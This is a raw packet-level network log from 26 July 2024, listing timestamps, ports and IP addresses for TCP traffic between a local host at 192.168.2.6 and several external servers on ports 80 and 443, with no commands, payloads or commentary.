Jul 26, 2024 10:36:22.586215973 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.593389988 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593492031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593503952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.593525887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593533039 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.593620062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593666077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.593672991 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593705893 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593739033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.593751907 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.593832970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594254017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594332933 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594341993 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594376087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594386101 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594409943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594419003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594444990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594455957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594479084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.594485044 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594516993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.594994068 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595026970 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595048904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595058918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595066071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595093966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595127106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595139980 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595160007 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595172882 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595191956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595202923 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595228910 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595793962 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595825911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595859051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595892906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595894098 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595906019 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595926046 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.595930099 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.595972061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.596852064 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.596884966 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.596918106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.596940994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.596951008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.596972942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.596985102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.596986055 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597018003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597027063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597111940 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597317934 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597351074 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597373009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597383976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597388983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597424030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597455025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597465992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597487926 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597521067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597531080 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597560883 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.597569942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.597717047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.598153114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.598186016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.598217964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.598218918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.598226070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.598252058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.598270893 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.598284960 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.598297119 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.598350048 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.626269102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626322031 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.626364946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626377106 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626415968 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.626683950 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626732111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.626764059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626807928 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.626976967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.626988888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627002001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627017021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.627043009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.627502918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627512932 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627525091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627536058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627541065 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.627547026 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.627557993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.627574921 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.627603054 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.628422976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628433943 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628443956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628453016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628463984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628468037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.628473997 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.628500938 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.628516912 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.629206896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.629250050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.629267931 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.629278898 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.629288912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.629293919 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.629307985 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.629326105 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.630127907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.630140066 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.630148888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.630158901 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.630172014 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.630204916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.675929070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.675988913 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.740461111 CEST	443	49717	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:22.740526915 CEST	49717	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:22.742543936 CEST	443	49717	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:22.742594957 CEST	49717	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:22.742609978 CEST	443	49717	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:22.742821932 CEST	49717	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:22.788820982 CEST	49717	443	192.168.2.6	173.222.162.64
Jul 26, 2024 10:36:22.788842916 CEST	443	49717	173.222.162.64	192.168.2.6
Jul 26, 2024 10:36:22.878701925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:22.884181023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:23.040515900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:23.040605068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:23.050678015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:23.055648088 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:23.060535908 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:23.065485954 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:23.065550089 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:23.065886021 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:23.070708990 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.175976038 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.176692963 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:24.218595028 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:24.228863955 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.408466101 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.408612013 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:24.410054922 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:24.414870977 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.985265017 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:24.985338926 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:25.690864086 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:25.690911055 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:25.691019058 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:25.691659927 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:25.691675901 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.540342093 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.540457010 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.568582058 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.568641901 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.568900108 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.629462957 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.629550934 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.629573107 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.629674911 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.672521114 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.819932938 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.820199966 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.820409060 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.820472002 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.820530891 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.820530891 CEST	49720	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:26.820557117 CEST	443	49720	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:26.993360996 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:26.993458986 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:26.993544102 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:26.993798018 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:26.993851900 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:27.849455118 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:27.849550009 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:27.882236958 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:27.882277012 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:27.882601023 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:27.883661985 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:27.883661985 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:27.883718014 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.131270885 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:28.136665106 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:28.136792898 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:28.136938095 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:28.142966032 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:28.336534023 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.336580038 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.336616039 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.336659908 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:28.336679935 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.336690903 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.336709023 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:28.336736917 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:28.337007046 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:28.337007046 CEST	49721	443	192.168.2.6	40.126.32.68
Jul 26, 2024 10:36:28.337023973 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.337035894 CEST	443	49721	40.126.32.68	192.168.2.6
Jul 26, 2024 10:36:28.942500114 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:28.945163012 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.018148899 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.024593115 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:29.283091068 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:29.283166885 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.397022009 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.397361994 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.450129986 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:29.450207949 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.450237989 CEST	80	49722	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:29.450283051 CEST	49722	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.450592995 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:29.460447073 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:29.989629984 CEST	80	49719	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:29.989694118 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:30.229417086 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:30.229480028 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.230401039 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.235590935 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:30.485805035 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:30.485913038 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.601104975 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.601116896 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.608720064 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:30.609143972 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.609276056 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.610184908 CEST	80	49724	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:30.610233068 CEST	49724	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:30.614662886 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.407083035 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.409132004 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.474792957 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.480269909 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.763808012 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.763880014 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.967932940 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.968260050 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.973155975 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.973237991 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:31.973680973 CEST	80	49725	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:31.973745108 CEST	49725	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:32.084433079 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:32.089334011 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:32.719341993 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:32.721172094 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:32.741381884 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:32.749190092 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:32.995867014 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:32.996026993 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.153239012 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.153493881 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.159662962 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:33.160012960 CEST	80	49726	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:33.160085917 CEST	49726	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.161099911 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.165128946 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:33.170243979 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:34.649342060 CEST	49719	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:34.650625944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:34.928795099 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:34.928863049 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:34.929675102 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:34.936657906 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:35.181444883 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:35.181567907 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.303704023 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.304022074 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.309103966 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:35.309175014 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.309453011 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.309622049 CEST	80	49727	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:35.309673071 CEST	49727	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:35.314327955 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.120749950 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.120805979 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.127229929 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.132122993 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.379511118 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.379573107 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.491024971 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.491295099 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.498770952 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.498840094 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.499150991 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.500474930 CEST	80	49728	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:36.500534058 CEST	49728	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:36.504343987 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.268436909 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.268534899 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.269468069 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.283509970 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.536067009 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.536194086 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.649211884 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.649525881 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.668839931 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.668915987 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.669063091 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.676450968 CEST	80	49729	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:37.676517010 CEST	49729	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:37.676531076 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.416460037 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.416594982 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.417506933 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.423350096 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.669457912 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.669529915 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.788055897 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.788558006 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.794009924 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.794070959 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.794291019 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.794635057 CEST	80	49730	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:38.794683933 CEST	49730	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:38.799573898 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.620048046 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.620138884 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.621002913 CEST	49731	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:39.625896931 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.876848936 CEST	80	49731	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:39.877037048 CEST	49731	80	192.168.2.6	185.215.113.16
